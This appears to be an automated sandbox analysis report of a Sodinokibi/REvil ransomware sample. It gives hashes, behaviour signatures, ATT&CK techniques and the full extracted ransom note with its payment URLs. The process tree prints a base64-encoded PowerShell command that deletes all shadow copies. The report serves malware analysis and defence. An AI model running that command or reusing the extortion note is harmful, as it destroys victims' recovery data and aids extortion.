Analysis

  • max time kernel
    145s
  • max time network
    175s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    30-01-2022 07:37

General

  • Target

    fe386e47f1a519c2645018890dde74eed8b4a1f1267ee9a53df9d91ac16805ff.exe

  • Size

    164KB

  • MD5

    d12654e946d5c4f17dd938c22a18e162

  • SHA1

    eda500dfe8510f6c428a0241c07993311fa5a704

  • SHA256

    fe386e47f1a519c2645018890dde74eed8b4a1f1267ee9a53df9d91ac16805ff

  • SHA512

    1b669090608a418af4b4ec1c9b5e63ddc28f0a14001c59acfccd1c3fdff4a7227473f985d440be6df90917899168bbb1f8007decbc0c9eb7b4bfc19d58178af8

Score
10/10

Malware Config

Extracted

Path

C:\ceye90bpWannadie.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension ceye90bp. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/666FC2FF3DB7A7B4 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/666FC2FF3DB7A7B4 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: UWcblKKIguYH1oESEdlGY3IBYW02FQQW+DX6tq5JzogZoruh31mjlm6KVuiswzIV qsu1zqhbvEh0+CZqT497ts4OG6macTrk8OFLICV0u1mdUDDf7jrJc8LhQsPQhQ1j vcAvP3XNepxJXVHqnmwxD53qEwzD8046n0wv2d7yfZbY3VcZcWTidmy2Wk1hKAUs 0ku2+d0uMfPxxgrwb86iQYNUieDrb0rxzMRxYoPUePaPgRtD3IIlyQWl50O+RApm MCGeCdhhp1EYMhuevRkHoL9+bGZ7kvswAwnAc3K3a/lIcifbIyLTKja7Z98X2408 YSY7zNbHZ+zEJZT9rqo/Pn/mvn4/u2XbboPWAdYjsx2OI0OnvOjyGTEGoLMvKDec acS0wKrzjMYpUCEuZu9faueXdtBx2Vv3aqKku3b7vM4WvPnXH9+0nVPVdv65PQOH xHAI/+zzu66RVktJvn6RFXAN4tSEm3xydbnFRGSCAG6+XsM0diRpUaK3fpcSA1Wb BsE/W3vLMuKqD4t9U4+P3sjC91M1KTMLFy9s5Otfud33ZGA1w61OCtUOgp7HUvG7 eyOcPVX0Z/ZXSvyJveDUunLRKAj7hVUYgTCSg9/5jIfdmUmXBMT96YZSqnjaal31 iGN4Ecx/uxqyYJ5sLMf7qiaZTTduhoZ84diXwS6kvTaQ1s9TELmQVK0AS0AE875G J9a35rH5q+ieTy/1uqvBD6SqNF5lDSi9QykE9IH/tiIaAaFjj9Ha8P6cvx0enj9Y tjxFKHPP8NvEuPkHHMby2u0pODoEP63Uv0iz1AUdLeP9puBh1RtywcJ6eNSNpVOg iuvuGfoBUTHtCd1DKNr8nXM+MctNykSevqmQgHNnfE4iXDP8x1zzTFra5q1LGk7N bvPUJcaILr7gUTHQylsZ3adTtG3oRBx+FARoTaVP/kObf6yRpTBPW4ryatvKkjSL RxcZcsmJpHt+J5cP/Lk57l+8KaWpZeaYC0sn27iEg598mBXz8daxi+9bJYrqhzk5 Byrtv0wUwOGTUzdup5MAAr+J1uOIJzR3zq0LktTXeRA6KqPIiehAxwpsaVkulC52 6UbpZ2iXrzgcFx4/ISs1aMzzwUrP2DNARJHbRDe2RkGWO3FO4/Um/1H5V6Y/SoF3 4h/XVXGfhZo= Extension name: ceye90bp ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/666FC2FF3DB7A7B4

http://decryptor.top/666FC2FF3DB7A7B4

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 23 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fe386e47f1a519c2645018890dde74eed8b4a1f1267ee9a53df9d91ac16805ff.exe
    "C:\Users\Admin\AppData\Local\Temp\fe386e47f1a519c2645018890dde74eed8b4a1f1267ee9a53df9d91ac16805ff.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:672
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:792
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1116

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/672-65-0x000007FEFC081000-0x000007FEFC083000-memory.dmp
      Filesize

      8KB

    • memory/672-71-0x00000000027BB000-0x00000000027DA000-memory.dmp
      Filesize

      124KB

    • memory/672-70-0x000000001B740000-0x000000001BA3F000-memory.dmp
      Filesize

      3.0MB

    • memory/672-68-0x00000000027B2000-0x00000000027B4000-memory.dmp
      Filesize

      8KB

    • memory/672-69-0x00000000027B4000-0x00000000027B7000-memory.dmp
      Filesize

      12KB

    • memory/672-67-0x00000000027B0000-0x00000000027B2000-memory.dmp
      Filesize

      8KB

    • memory/672-66-0x000007FEF33E0000-0x000007FEF3F3D000-memory.dmp
      Filesize

      11.4MB

    • memory/1112-59-0x0000000000110000-0x0000000000111000-memory.dmp
      Filesize

      4KB

    • memory/1112-64-0x0000000000120000-0x0000000000126000-memory.dmp
      Filesize

      24KB

    • memory/1112-63-0x0000000002660000-0x0000000002769000-memory.dmp
      Filesize

      1.0MB

    • memory/1112-62-0x0000000000520000-0x000000000053F000-memory.dmp
      Filesize

      124KB

    • memory/1112-61-0x0000000002250000-0x000000000237D000-memory.dmp
      Filesize

      1.2MB

    • memory/1112-60-0x0000000001E80000-0x0000000001F1F000-memory.dmp
      Filesize

      636KB

    • memory/1112-54-0x0000000075D61000-0x0000000075D63000-memory.dmp
      Filesize

      8KB

    • memory/1112-58-0x0000000000100000-0x0000000000101000-memory.dmp
      Filesize

      4KB

    • memory/1112-57-0x00000000000F0000-0x00000000000F1000-memory.dmp
      Filesize

      4KB

    • memory/1112-56-0x00000000000E0000-0x00000000000EA000-memory.dmp
      Filesize

      40KB